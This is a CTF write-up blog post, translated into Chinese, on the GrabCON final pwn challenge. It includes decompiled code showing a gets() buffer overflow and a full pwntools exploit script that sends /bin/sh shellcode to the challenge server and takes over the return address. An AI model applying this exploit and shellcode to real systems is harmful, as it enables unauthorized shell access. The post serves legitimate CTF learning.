2021-09-09 · 1

GrabCON CTF — Pwn write-up

securityctf

这篇文章发布已超过两年,内容可能已过时。

GrabCON CTF


这是最后一题。

CODE

用 IDA 打开,main 不存在。从 start 开始找。

void __usercall __noreturn start(int a1@<eax>, void (*a2)(void)@<edx>)
{
  int v2; // esi
  int v3; // [esp-4h] [ebp-4h] BYREF
  char *retaddr; // [esp+0h] [ebp+0h] BYREF

  v2 = v3;
  v3 = a1;
  __libc_start_main(sub_1357, v2, &retaddr, sub_13B0, sub_1420, a2, &v3);
  __halt();
}
int __cdecl sub_1357(int a1)
{
  setvbuf(stdout, &dword_0 + 2, 0, 0);
  sub_12BA(&a1);
  sub_130D();
  return 0;
}

找到了!!sub_1357 似乎是 main 函数。

char *sub_130D()
{
  char s[294]; // [esp+Eh] [ebp-12Ah] BYREF

  printf("eat some %p!\n", s);
  return gets(s);
}

NX bit 没开?除最后一题外的题目似乎都很简单。虽然开了 PIE,但只要 NX bit 关着,我们用 shellcode 就行。漏洞发生在上面的 sub_103D。代码如下。

源代码

查看更多

from pwn import *

p = remote("35.246.42.94", 1337)
e = ELF("./pwn2")

p.recvuntil('some ')
buffer = int(p.recvline()[:10], 16)
log.info(f"buffer : {hex(buffer)}")

offset = 302
shellcode = b'\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80'

payload = b''
payload += shellcode
payload += b'A'*(277)
payload += p32(buffer)

pause()
p.send(payload)
p.interactive()

NX bit 没开的话就是白送的题嘛~

[黑客/系统黑客] - [系统黑客] Buffer Overflow (BOF)

[[系统黑客] Buffer Overflow (BOF)

BUFFER OVERFLOW BOF 是当能接收比所设缓冲区大小更大的输入时产生的漏洞。int __cdecl main(int argc, const char **argv, const char **envp) { char s[40]; // [esp+4h] > ebp-34h..

— nabomhalang.tistory.com


原文(韩语): tistory — 发布于 2021-09-09,已迁移至本博客。本翻译由 AI 协助完成。

评论

删除这条评论?

相关文章

GrabCON CTF — Pwn write-up · 나봄하랑